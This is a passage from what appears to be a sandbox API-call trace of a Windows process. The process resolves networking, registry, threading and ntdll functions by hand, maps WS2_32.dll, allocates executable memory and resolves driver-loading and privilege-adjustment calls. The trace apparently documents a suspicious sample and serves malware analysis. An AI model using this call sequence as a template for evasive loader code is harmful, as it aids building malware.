(hModule=0x774d0000, lpProcName="WSAIoctl") returned 0x774d2fe7 [0098.428] GetProcAddress (hModule=0x774d0000, lpProcName=0xe) returned 0x774d2d57 [0098.428] GetProcAddress (hModule=0x774d0000, lpProcName=0x9) returned 0x774d2d8b [0098.429] GetProcAddress (hModule=0x774d0000, lpProcName=0xc) returned 0x774db131 [0098.429] GetProcAddress (hModule=0x774d0000, lpProcName=0xf) returned 0x774d2d8b [0098.429] GetProcAddress (hModule=0x774d0000, lpProcName="WSCUpdateProvider") returned 0x774ece2d [0098.429] GetProcAddress (hModule=0x774d0000, lpProcName="getnameinfo") returned 0x774d67b7 [0098.429] GetProcAddress (hModule=0x774d0000, lpProcName="WahReferenceContextByHandle") returned 0x774d2f20 [0098.429] GetProcAddress (hModule=0x774d0000, lpProcName="WahInsertHandleContext") returned 0x774d412b [0098.429] GetProcAddress (hModule=0x774d0000, lpProcName="WSCEnumProtocols") returned 0x774db8cf [0098.429] GetProcAddress (hModule=0x774d0000, lpProcName="WSCGetProviderPath") returned 0x774dc64e [0098.429] GetProcAddress (hModule=0x774d0000, lpProcName=0x70) returned 0x774d37d9 [0098.430] GetProcAddress (hModule=0x774d0000, lpProcName="WahCreateHandleContextTable") returned 0x774d7e65 [0098.430] GetProcAddress (hModule=0x774d0000, lpProcName="WahEnumerateHandleContexts") returned 0x774daa97 [0098.430] GetProcAddress (hModule=0x774d0000, lpProcName=0x73) returned 0x774d3ab2 [0098.430] GetProcAddress (hModule=0x774d0000, lpProcName="WSASocketW") returned 0x774d3cd3 [0098.430] GetProcAddress (hModule=0x774d0000, lpProcName=0x3) returned 0x774d3918 [0098.430] GetProcAddress (hModule=0x774d0000, lpProcName="WSAProviderConfigChange") returned 0x774dc22e [0098.430] GetProcAddress (hModule=0x774d0000, lpProcName=0x6f) returned 0x774d37ad [0098.430] GetProcAddress (hModule=0x774d0000, lpProcName=0x74) returned 0x774d3c5f [0098.430] GetProcAddress (hModule=0x774d0000, lpProcName="WSCWriteProviderOrder") returned 0x774ed099 [0098.431] GetProcAddress (hModule=0x774d0000, lpProcName=0x38) returned 0x774e6d62 [0098.431] GetProcAddress (hModule=0x774d0000, lpProcName=0x37) returned 0x774e6ef3 [0098.431] GetProcAddress (hModule=0x774d0000, lpProcName="WahRemoveHandleContext") returned 0x774d39b0 [0098.431] GetProcAddress (hModule=0x774d0000, lpProcName="WSAEnumProtocolsW") returned 0x774dc8e1 [0098.431] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Debug-L1-1-0.dll") returned 0x77480000 [0098.431] GetProcAddress (hModule=0x77480000, lpProcName="OutputDebugStringA") returned 0x77492510 [0098.431] GetModuleHandleA (lpModuleName="API-MS-Win-Core-ErrorHandling-L1-1-0.dll") returned 0x76300000 [0098.431] GetProcAddress (hModule=0x76300000, lpProcName="GetLastError") returned 0x763111c0 [0098.431] GetProcAddress (hModule=0x76300000, lpProcName="UnhandledExceptionFilter") returned 0x7633772f [0098.431] GetProcAddress (hModule=0x76300000, lpProcName="SetUnhandledExceptionFilter") returned 0x763187c9 [0098.432] GetProcAddress (hModule=0x76300000, lpProcName="SetLastError") returned 0x763111a9 [0098.432] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Handle-L1-1-0.dll") returned 0x76300000 [0098.432] GetProcAddress (hModule=0x76300000, lpProcName="CloseHandle") returned 0x76311410 [0098.432] GetProcAddress (hModule=0x76300000, lpProcName="DuplicateHandle") returned 0x76311886 [0098.432] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Interlocked-L1-1-0.dll") returned 0x77480000 [0098.432] GetProcAddress (hModule=0x77480000, lpProcName="InterlockedExchangeAdd") returned 0x77486aa0 [0098.432] GetProcAddress (hModule=0x77480000, lpProcName="InterlockedIncrement") returned 0x77486a50 [0098.432] GetProcAddress (hModule=0x77480000, lpProcName="InterlockedCompareExchange") returned 0x77486a8c [0098.432] GetProcAddress (hModule=0x77480000, lpProcName="InterlockedDecrement") returned 0x77486a64 [0098.432] GetProcAddress (hModule=0x77480000, lpProcName="InterlockedExchange") returned 0x77486a78 [0098.433] GetModuleHandleA (lpModuleName="API-MS-Win-Core-IO-L1-1-0.dll") returned 0x76300000 [0098.433] GetProcAddress (hModule=0x76300000, lpProcName="CreateIoCompletionPort") returned 0x7632eef2 [0098.433] GetProcAddress (hModule=0x76300000, lpProcName="PostQueuedCompletionStatus") returned 0x7632ef29 [0098.433] GetProcAddress (hModule=0x76300000, lpProcName="GetOverlappedResult") returned 0x7632cc79 [0098.433] GetModuleHandleA (lpModuleName="API-MS-Win-Core-LibraryLoader-L1-1-0.dll") returned 0x77480000 [0098.433] GetProcAddress (hModule=0x77480000, lpProcName="GetProcAddress") returned 0x77491180 [0098.433] GetProcAddress (hModule=0x77480000, lpProcName="FreeLibrary") returned 0x77491d92 [0098.433] GetProcAddress (hModule=0x77480000, lpProcName="LoadLibraryExA") returned 0x77491d54 [0098.433] GetProcAddress (hModule=0x77480000, lpProcName="GetModuleHandleExA") returned 0x774910cd [0098.433] GetProcAddress (hModule=0x77480000, lpProcName="LoadLibraryExW") returned 0x77491bb2 [0098.434] GetProcAddress (hModule=0x77480000, lpProcName="FreeLibraryAndExitThread") returned 0x77490b76 [0098.434] GetProcAddress (hModule=0x77480000, lpProcName="GetModuleFileNameW") returned 0x77490c05 [0098.434] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Localization-L1-1-0.dll") returned 0x77480000 [0098.434] GetProcAddress (hModule=0x77480000, lpProcName="LCMapStringW") returned 0x774a1e6a [0098.434] GetModuleHandleA (lpModuleName="API-MS-Win-Core-LocalRegistry-L1-1-0.dll") returned 0x76300000 [0098.434] GetProcAddress (hModule=0x76300000, lpProcName="RegOpenKeyExA") returned 0x7631472f [0098.434] GetProcAddress (hModule=0x76300000, lpProcName="RegSetValueExA") returned 0x76321441 [0098.434] GetProcAddress (hModule=0x76300000, lpProcName="RegCreateKeyExW") returned 0x7631865b [0098.434] GetProcAddress (hModule=0x76300000, lpProcName="RegCloseKey") returned 0x7631209f [0098.435] GetProcAddress (hModule=0x76300000, lpProcName="RegQueryValueExW") returned 0x76311f4e [0098.435] GetProcAddress (hModule=0x76300000, lpProcName="RegOpenKeyExW") returned 0x76312311 [0098.435] GetProcAddress (hModule=0x76300000, lpProcName="RegQueryValueExA") returned 0x76314a87 [0098.435] GetProcAddress (hModule=0x76300000, lpProcName="RegEnumKeyExW") returned 0x76312e9a [0098.435] GetProcAddress (hModule=0x76300000, lpProcName="RegDeleteKeyExW") returned 0x76330725 [0098.435] GetProcAddress (hModule=0x76300000, lpProcName="RegSetValueExW") returned 0x76315be5 [0098.435] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Memory-L1-1-0.dll") returned 0x77480000 [0098.435] GetProcAddress (hModule=0x77480000, lpProcName="VirtualAlloc") returned 0x7748e365 [0098.435] GetProcAddress (hModule=0x77480000, lpProcName="VirtualFree") returned 0x7748e2aa [0098.435] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Misc-L1-1-0.dll") returned 0x77480000 [0098.436] GetProcAddress (hModule=0x77480000, lpProcName="LocalAlloc") returned 0x774948f9 [0098.436] GetProcAddress (hModule=0x77480000, lpProcName="FormatMessageW") returned 0x77493e37 [0098.436] GetProcAddress (hModule=0x77480000, lpProcName="lstrcmpW") returned 0x7748a389 [0098.436] GetProcAddress (hModule=0x77480000, lpProcName="lstrlenW") returned 0x7748a505 [0098.436] GetProcAddress (hModule=0x77480000, lpProcName="Sleep") returned 0x77493511 [0098.436] GetProcAddress (hModule=0x77480000, lpProcName="LocalFree") returned 0x77493e61 [0098.436] GetModuleHandleA (lpModuleName="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll") returned 0x77480000 [0098.436] GetProcAddress (hModule=0x77480000, lpProcName="GetEnvironmentVariableA") returned 0x7748fcad [0098.436] GetProcAddress (hModule=0x77480000, lpProcName="ExpandEnvironmentStringsW") returned 0x7748faac [0098.436] GetProcAddress (hModule=0x77480000, lpProcName="ExpandEnvironmentStringsA") returned 0x7748fe42 [0098.437] GetModuleHandleA (lpModuleName="API-MS-Win-Core-ProcessThreads-L1-1-0.dll") returned 0x76300000 [0098.437] GetProcAddress (hModule=0x76300000, lpProcName="ResumeThread") returned 0x763143ef [0098.437] GetProcAddress (hModule=0x76300000, lpProcName="TlsGetValue") returned 0x763111e0 [0098.437] GetProcAddress (hModule=0x76300000, lpProcName="TlsSetValue") returned 0x763114fb [0098.437] GetProcAddress (hModule=0x76300000, lpProcName="SetThreadPriority") returned 0x763132bb [0098.437] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentThread") returned 0x763117ec [0098.437] GetProcAddress (hModule=0x76300000, lpProcName="CreateThread") returned 0x763134d5 [0098.438] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentProcessId") returned 0x763111f8 [0098.438] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentProcess") returned 0x76311809 [0098.438] GetProcAddress (hModule=0x76300000, lpProcName="TerminateThread") returned 0x76317a2f [0098.438] GetProcAddress (hModule=0x76300000, lpProcName="TlsFree") returned 0x76313587 [0098.438] GetProcAddress (hModule=0x76300000, lpProcName="TlsAlloc") returned 0x763149ad [0098.438] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentThreadId") returned 0x76311450 [0098.438] GetProcAddress (hModule=0x76300000, lpProcName="TerminateProcess") returned 0x7632d802 [0098.438] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Profile-L1-1-0.dll") returned 0x77480000 [0098.438] GetProcAddress (hModule=0x77480000, lpProcName="QueryPerformanceCounter") returned 0x77e68884 [0098.438] GetModuleHandleA (lpModuleName="API-MS-Win-Core-String-L1-1-0.dll") returned 0x77480000 [0098.439] GetProcAddress (hModule=0x77480000, lpProcName="MultiByteToWideChar") returned 0x774af308 [0098.439] GetProcAddress (hModule=0x77480000, lpProcName="WideCharToMultiByte") returned 0x774afa07 [0098.439] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Synch-L1-1-0.dll") returned 0x76300000 [0098.439] GetProcAddress (hModule=0x76300000, lpProcName="WaitForMultipleObjectsEx") returned 0x7631199e [0098.439] GetProcAddress (hModule=0x76300000, lpProcName="SetEvent") returned 0x763116c5 [0098.439] GetProcAddress (hModule=0x76300000, lpProcName="LeaveCriticalSection") returned 0x77e52270 [0098.439] GetProcAddress (hModule=0x76300000, lpProcName="EnterCriticalSection") returned 0x77e522b0 [0098.439] GetProcAddress (hModule=0x76300000, lpProcName="DeleteCriticalSection") returned 0x77e645f5 [0098.439] GetProcAddress (hModule=0x76300000, lpProcName="InitializeCriticalSection") returned 0x77e62c42 [0098.439] GetProcAddress (hModule=0x76300000, lpProcName="WaitForSingleObjectEx") returned 0x76311151 [0098.440] GetProcAddress (hModule=0x76300000, lpProcName="CreateEventA") returned 0x7631328c [0098.440] GetProcAddress (hModule=0x76300000, lpProcName="WaitForSingleObject") returned 0x76311136 [0098.440] GetProcAddress (hModule=0x76300000, lpProcName="OpenEventW") returned 0x763115d6 [0098.440] GetProcAddress (hModule=0x76300000, lpProcName="SleepEx") returned 0x76311215 [0098.440] GetProcAddress (hModule=0x76300000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76311916 [0098.440] GetProcAddress (hModule=0x76300000, lpProcName="OpenProcess") returned 0x76311986 [0098.440] GetProcAddress (hModule=0x76300000, lpProcName="CreateEventW") returned 0x7631183e [0098.440] GetModuleHandleA (lpModuleName="API-MS-Win-Core-SysInfo-L1-1-0.dll") returned 0x77480000 [0098.440] GetProcAddress (hModule=0x77480000, lpProcName="GetSystemInfo") returned 0x7748e6b2 [0098.441] GetProcAddress (hModule=0x77480000, lpProcName="GetSystemTimeAsFileTime") returned 0x77488c67 [0098.441] GetProcAddress (hModule=0x77480000, lpProcName="GetTickCount") returned 0x77488c96 [0098.441] GetModuleHandleA (lpModuleName="API-MS-Win-Core-DelayLoad-L1-1-0.dll") returned 0x76300000 [0098.441] GetProcAddress (hModule=0x76300000, lpProcName="DelayLoadFailureHook") returned 0x763aec9d [0098.441] UnmapViewOfFile (lpBaseAddress=0x800000) returned 1 [0098.442] CloseHandle (hObject=0x138) returned 1 [0098.442] CloseHandle (hObject=0x134) returned 1 [0098.445] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x101fa28*=0x8b0000, RegionSize=0x101fa44, FreeType=0x8000) returned 0x0 [0098.446] GetModuleHandleA (lpModuleName="ws2_32") returned 0x774d0000 [0098.446] GetModuleFileNameA (in: hModule=0x774d0000, lpFilename=0x101f61c, nSize=0x3ff | out: lpFilename="C:\\Windows\\syswow64\\WS2_32.dll") returned 0x1e [0098.446] CreateFileA (lpFileName="C:\\Windows\\syswow64\\WS2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x134 [0098.446] CreateFileMappingA (hFile=0x134, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x138 [0098.446] MapViewOfFile (hFileMappingObject=0x138, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x800000 [0098.450] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x101f600, ZeroBits=0x0, RegionSize=0x101f5e4, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x101f600*=0x8b0000, RegionSize=0x101f5e4*=0x35000) returned 0x0 [0098.459] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880041d0000 [0098.459] IdePortDispatch () returned 0x103 [0098.464] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c00000 [0098.464] IdePortDispatch () returned 0x103 [0098.465] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c08000 [0098.465] IdePortDispatch () returned 0x103 [0098.466] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x75fc0000 [0098.466] GetProcAddress (hModule=0x75fc0000, lpProcName="memset") returned 0x75fc9790 [0098.466] GetProcAddress (hModule=0x75fc0000, lpProcName="_wcsnicmp") returned 0x75fcaae3 [0098.467] GetProcAddress (hModule=0x75fc0000, lpProcName="wcschr") returned 0x75fcaa61 [0098.467] GetProcAddress (hModule=0x75fc0000, lpProcName="memcpy") returned 0x75fc9910 [0098.467] GetProcAddress (hModule=0x75fc0000, lpProcName="__isascii") returned 0x75fdd57b [0098.467] GetProcAddress (hModule=0x75fc0000, lpProcName="towupper") returned 0x75fcf670 [0098.467] GetProcAddress (hModule=0x75fc0000, lpProcName="strtoul") returned 0x75fd012e [0098.467] GetProcAddress (hModule=0x75fc0000, lpProcName="_onexit") returned 0x75fd112d [0098.467] GetProcAddress (hModule=0x75fc0000, lpProcName="_lock") returned 0x75fca449 [0098.467] GetProcAddress (hModule=0x75fc0000, lpProcName="__dllonexit") returned 0x75fcf509 [0098.467] GetProcAddress (hModule=0x75fc0000, lpProcName="_unlock") returned 0x75fca42d [0098.468] GetProcAddress (hModule=0x75fc0000, lpProcName="_except_handler4_common") returned 0x75fe3e27 [0098.468] GetProcAddress (hModule=0x75fc0000, lpProcName="_amsg_exit") returned 0x7602b2ef [0098.468] GetProcAddress (hModule=0x75fc0000, lpProcName="_initterm") returned 0x75fcc151 [0098.468] GetProcAddress (hModule=0x75fc0000, lpProcName="free") returned 0x75fc9894 [0098.468] GetProcAddress (hModule=0x75fc0000, lpProcName="malloc") returned 0x75fc9cee [0098.468] GetProcAddress (hModule=0x75fc0000, lpProcName="_XcptFilter") returned 0x75fedc75 [0098.468] GetProcAddress (hModule=0x75fc0000, lpProcName="_wcsicmp") returned 0x75fca9e9 [0098.468] GetProcAddress (hModule=0x75fc0000, lpProcName="wcsncmp") returned 0x75fcb05e [0098.469] GetProcAddress (hModule=0x75fc0000, lpProcName="isspace") returned 0x75fcc395 [0098.469] GetProcAddress (hModule=0x75fc0000, lpProcName="strcpy_s") returned 0x75fcf574 [0098.469] GetProcAddress (hModule=0x75fc0000, lpProcName="sprintf_s") returned 0x75fe51da [0098.469] GetProcAddress (hModule=0x75fc0000, lpProcName="_stricmp") returned 0x75fcdb38 [0098.469] GetProcAddress (hModule=0x75fc0000, lpProcName="fclose") returned 0x75fd3d79 [0098.469] GetProcAddress (hModule=0x75fc0000, lpProcName="fopen") returned 0x75fdb2c4 [0098.469] GetProcAddress (hModule=0x75fc0000, lpProcName="fgets") returned 0x75fe4589 [0098.469] GetProcAddress (hModule=0x75fc0000, lpProcName="atoi") returned 0x75fcdbe0 [0098.469] GetProcAddress (hModule=0x75fc0000, lpProcName="strchr") returned 0x75fcdbeb [0098.470] GetProcAddress (hModule=0x75fc0000, lpProcName="_vsnwprintf") returned 0x75fcbbce [0098.470] GetProcAddress (hModule=0x75fc0000, lpProcName="_vsnprintf") returned 0x75fcd1a8 [0098.470] GetProcAddress (hModule=0x75fc0000, lpProcName="wcsstr") returned 0x75fcbf71 [0098.470] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77e30000 [0098.470] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv4StringToAddressA") returned 0x77e7c411 [0098.470] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv6StringToAddressA") returned 0x77e7c855 [0098.470] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv4StringToAddressW") returned 0x77e7b900 [0098.470] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv6StringToAddressW") returned 0x77e7ba09 [0098.470] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv4AddressToStringExA") returned 0x77ef3c1e [0098.470] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv6AddressToStringExA") returned 0x77ef3b06 [0098.471] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv4AddressToStringExW") returned 0x77e7bb8f [0098.471] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv6AddressToStringExW") returned 0x77e7d200 [0098.471] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv6StringToAddressExW") returned 0x77e7b9ae [0098.471] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCompareMemory") returned 0x77e93b00 [0098.471] GetProcAddress (hModule=0x77e30000, lpProcName="RtlNtStatusToDosError") returned 0x77e661ed [0098.471] GetProcAddress (hModule=0x77e30000, lpProcName="RtlUnicodeStringToInteger") returned 0x77e8cb1e [0098.471] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitUnicodeStringEx") returned 0x77e67d73 [0098.471] GetProcAddress (hModule=0x77e30000, lpProcName="EtwTraceMessage") returned 0x77e979b7 [0098.471] GetProcAddress (hModule=0x77e30000, lpProcName="NtDelayExecution") returned 0x77e4fd6c [0098.472] GetProcAddress (hModule=0x77e30000, lpProcName="NtClose") returned 0x77e4f9d0 [0098.472] GetProcAddress (hModule=0x77e30000, lpProcName="NtDeviceIoControlFile") returned 0x77e4f8fc [0098.472] GetProcAddress (hModule=0x77e30000, lpProcName="NtLoadDriver") returned 0x77e50de4 [0098.472] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitUnicodeString") returned 0x77e5e208 [0098.472] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAdjustPrivilege") returned 0x77ee1f40 [0098.472] GetProcAddress (hModule=0x77e30000, lpProcName="RtlImpersonateSelf") returned 0x77ea242f [0098.472] GetProcAddress (hModule=0x77e30000, lpProcName="NtCreateFile") returned 0x77e500a4 [0098.472] GetProcAddress (hModule=0x77e30000, lpProcName="NtWaitForSingleObject") returned 0x77e4f8ac [0098.472] GetProcAddress (hModule=0x77e30000, lpProcName="NtFsControlFile") returned 0x77e4fde8 [0098.472] GetProcAddress (hModule=0x77e30000, lpProcName="NtCreateNamedPipeFile") returned 0x77e507a4 [0098.473] GetProcAddress (hModule=0x77e30000, lpProcName="NtQueryDirectoryFile") returned 0x77e4fd88 [0098.473] GetProcAddress (hModule=0x77e30000, lpProcName="NtOpenFile") returned 0x77e4fd54 [0098.473] GetProcAddress (hModule=0x77e30000, lpProcName="RtlFreeHeap") returned 0x77e5df85 [0098.473] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAllocateHeap") returned 0x77e5e026 [0098.473] GetProcAddress (hModule=0x77e30000, lpProcName="WinSqmIsOptedIn") returned 0x77e89b58 [0098.473] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetNtProductType") returned 0x77e68802 [0098.473] GetProcAddress (hModule=0x77e30000, lpProcName="EtwEventUnregister") returned 0x77e89241 [0098.473] GetProcAddress (hModule=0x77e30000, lpProcName="EtwEventWrite") returned 0x77e90c59 [0098.473] GetProcAddress (hModule=0x77e30000, lpProcName="EtwEventRegister") returned 0x77e6f6ba [0098.474] GetModuleHandleA (lpModuleName="API-MS-Win-Core-ErrorHandling-L1-1-0.dll") returned 0x76300000 [0098.474] GetProcAddress (hModule=0x76300000, lpProcName="SetUnhandledExceptionFilter") returned 0x763187c9 [0098.474] GetProcAddress (hModule=0x76300000, lpProcName="SetLastError") returned 0x763111a9 [0098.474] GetProcAddress (hModule=0x76300000, lpProcName="UnhandledExceptionFilter") returned 0x7633772f [0098.474] GetProcAddress (hModule=0x76300000, lpProcName="GetLastError") returned 0x763111c0 [0098.474] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Handle-L1-1-0.dll") returned 0x76300000 [0098.474] GetProcAddress (hModule=0x76300000, lpProcName="GetHandleInformation") returned 0x7633cb69 [0098.474] GetProcAddress (hModule=0x76300000, lpProcName="DuplicateHandle") returned 0x76311886 [0098.474] GetProcAddress (hModule=0x76300000, lpProcName="CloseHandle") returned 0x76311410 [0098.475] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Heap-L1-1-0.dll") returned 0x77480000 [0098.475] GetProcAddress (hModule=0x77480000, lpProcName="HeapDestroy") returned 0x77494580 [0098.475] GetProcAddress (hModule=0x77480000, lpProcName="GetProcessHeap") returned 0x7749469a [0098.475] GetProcAddress (hModule=0x77480000, lpProcName="HeapCreate") returned 0x77494516 [0098.475] GetProcAddress (hModule=0x77480000, lpProcName="HeapFree") returned 0x77e5df85 [0098.475] GetProcAddress (hModule=0x77480000, lpProcName="HeapAlloc") returned 0x77e5e026 [0098.475] GetProcAddress (hModule=0x77480000, lpProcName="HeapReAlloc") returned 0x77e71f6e [0098.475] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Interlocked-L1-1-0.dll") returned 0x77480000 [0098.475] GetProcAddress (hModule=0x77480000, lpProcName="InterlockedCompareExchange") returned 0x77486a8c [0098.475] GetProcAddress (hModule=0x77480000, lpProcName="InterlockedExchangeAdd") returned 0x77486aa0 [0098.476] GetProcAddress (hModule=0x77480000, lpProcName="InterlockedExchange") returned 0x77486a78 [0098.476] GetProcAddress (hModule=0x77480000, lpProcName="InterlockedIncrement") returned 0x77486a50 [0098.476] GetProcAddress (hModule=0x77480000, lpProcName="InterlockedDecrement") returned 0x77486a64 [0098.476] GetModuleHandleA (lpModuleName="API-MS-Win-Core-IO-L1-1-0.dll") returned 0x76300000 [0098.476] GetProcAddress (hModule=0x76300000, lpProcName="DeviceIoControl") returned 0x7631322f [0098.476] GetModuleHandleA (lpModuleName="API-MS-Win-Core-LibraryLoader-L1-1-0.dll") returned 0x77480000 [0098.476] GetProcAddress (hModule=0x77480000, lpProcName="FreeLibraryAndExitThread") returned 0x77490b76 [0098.476] GetProcAddress (hModule=0x77480000, lpProcName="FreeLibrary") returned 0x77491d92 [0098.476] GetProcAddress (hModule=0x77480000, lpProcName="GetModuleHandleA") returned 0x77491ef5 [0098.477] GetProcAddress (hModule=0x77480000, lpProcName="LoadStringA") returned 0x77493bbb [0098.477] GetProcAddress (hModule=0x77480000, lpProcName="GetModuleFileNameA") returned 0x77491e24 [0098.477] GetProcAddress (hModule=0x77480000, lpProcName="LoadStringW") returned 0x77493c28 [0098.477] GetProcAddress (hModule=0x77480000, lpProcName="GetModuleFileNameW") returned 0x77490c05 [0098.477] GetProcAddress (hModule=0x77480000, lpProcName="LoadLibraryExW") returned 0x77491bb2 [0098.477] GetProcAddress (hModule=0x77480000, lpProcName="LoadLibraryExA") returned 0x77491d54 [0098.477] GetProcAddress (hModule=0x77480000, lpProcName="GetProcAddress") returned 0x77491180 [0098.477] GetProcAddress (hModule=0x77480000, lpProcName="GetModuleHandleExA") returned 0x774910cd [0098.477] GetModuleHandleA (lpModuleName="API-MS-Win-Core-LocalRegistry-L1-1-0.dll") returned 0x76300000 [0098.477] GetProcAddress (hModule=0x76300000, lpProcName="RegCreateKeyExA") returned 0x763212c2 [0098.478] GetProcAddress (hModule=0x76300000, lpProcName="RegCloseKey") returned 0x7631209f [0098.478] GetProcAddress (hModule=0x76300000, lpProcName="RegOpenKeyExA") returned 0x7631472f [0098.478] GetProcAddress (hModule=0x76300000, lpProcName="RegQueryValueExA") returned 0x76314a87 [0098.478] GetProcAddress (hModule=0x76300000, lpProcName="RegSetValueExW") returned 0x76315be5 [0098.478] GetProcAddress (hModule=0x76300000, lpProcName="RegSetValueExA") returned 0x76321441 [0098.478] GetProcAddress (hModule=0x76300000, lpProcName="RegQueryValueExW") returned 0x76311f4e [0098.478] GetProcAddress (hModule=0x76300000, lpProcName="RegDeleteKeyExA") returned 0x763b2e7b [0098.478] GetProcAddress (hModule=0x76300000, lpProcName="RegDeleteTreeA") returned 0x763b31e8 [0098.478] GetProcAddress (hModule=0x76300000, lpProcName="RegNotifyChangeKeyValue") returned 0x7632119e [0098.479] GetProcAddress (hModule=0x76300000, lpProcName="RegGetKeySecurity") returned 0x76332e5c [0098.479] GetProcAddress (hModule=0x76300000, lpProcName="RegEnumKeyExA") returned 0x7632f9a6 [0098.479] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Misc-L1-1-0.dll") returned 0x77480000 [0098.479] GetProcAddress (hModule=0x77480000, lpProcName="Sleep") returned 0x77493511 [0098.479] GetProcAddress (hModule=0x77480000, lpProcName="lstrlenW") returned 0x7748a505 [0098.479] GetProcAddress (hModule=0x77480000, lpProcName="lstrlenA") returned 0x7748a330 [0098.479] GetProcAddress (hModule=0x77480000, lpProcName="lstrcmpA") returned 0x7748a1b8 [0098.479] GetProcAddress (hModule=0x77480000, lpProcName="LocalAlloc") returned 0x774948f9 [0098.479] GetProcAddress (hModule=0x77480000, lpProcName="IsWow64Process") returned 0x7748e4c0 [0098.479] GetProcAddress (hModule=0x77480000, lpProcName="GlobalFree") returned 0x77493e61 [0098.480] GetProcAddress (hModule=0x77480000, lpProcName="GlobalAlloc") returned 0x77493fa7 [0098.480] GetProcAddress (hModule=0x77480000, lpProcName="PulseEvent") returned 0x7749018f [0098.480] GetProcAddress (hModule=0x77480000, lpProcName="LocalFree") returned 0x77493e61 [0098.480] GetModuleHandleA (lpModuleName="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll") returned 0x77480000 [0098.480] GetProcAddress (hModule=0x77480000, lpProcName="GetEnvironmentVariableA") returned 0x7748fcad [0098.480] GetProcAddress (hModule=0x77480000, lpProcName="GetCommandLineW") returned 0x7748e669 [0098.480] GetProcAddress (hModule=0x77480000, lpProcName="ExpandEnvironmentStringsW") returned 0x7748faac [0098.480] GetProcAddress (hModule=0x77480000, lpProcName="ExpandEnvironmentStringsA") returned 0x7748fe42 [0098.480] GetModuleHandleA (lpModuleName="API-MS-Win-Core-ProcessThreads-L1-1-0.dll") returned 0x76300000 [0098.480] GetProcAddress (hModule=0x76300000, lpProcName="CreateThread") returned 0x763134d5 [0098.481] GetProcAddress (hModule=0x76300000, lpProcName="TlsFree") returned 0x76313587 [0098.481] GetProcAddress (hModule=0x76300000, lpProcName="TlsAlloc") returned 0x763149ad [0098.481] GetProcAddress (hModule=0x76300000, lpProcName="SwitchToThread") returned 0x7632efec [0098.481] GetProcAddress (hModule=0x76300000, lpProcName="TlsSetValue") returned 0x763114fb [0098.481] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentProcess") returned 0x76311809 [0098.481] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentThreadId") returned 0x76311450 [0098.481] GetProcAddress (hModule=0x76300000, lpProcName="OpenThreadToken") returned 0x7749ba25 [0098.481] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentThread") returned 0x763117ec [0098.481] GetProcAddress (hModule=0x76300000, lpProcName="QueueUserAPC") returned 0x76339f5d [0098.481] GetProcAddress (hModule=0x76300000, lpProcName="ResumeThread") returned 0x763143ef [0098.482] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentProcessId") returned 0x763111f8 [0098.482] GetProcAddress (hModule=0x76300000, lpProcName="TerminateProcess") returned 0x7632d802 [0098.482] GetProcAddress (hModule=0x76300000, lpProcName="OpenProcessToken") returned 0x7749b9f7 [0098.482] GetProcAddress (hModule=0x76300000, lpProcName="TlsGetValue") returned 0x763111e0 [0098.482] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Profile-L1-1-0.dll") returned 0x77480000 [0098.482] GetProcAddress (hModule=0x77480000, lpProcName="QueryPerformanceCounter") returned 0x77e68884 [0098.482] 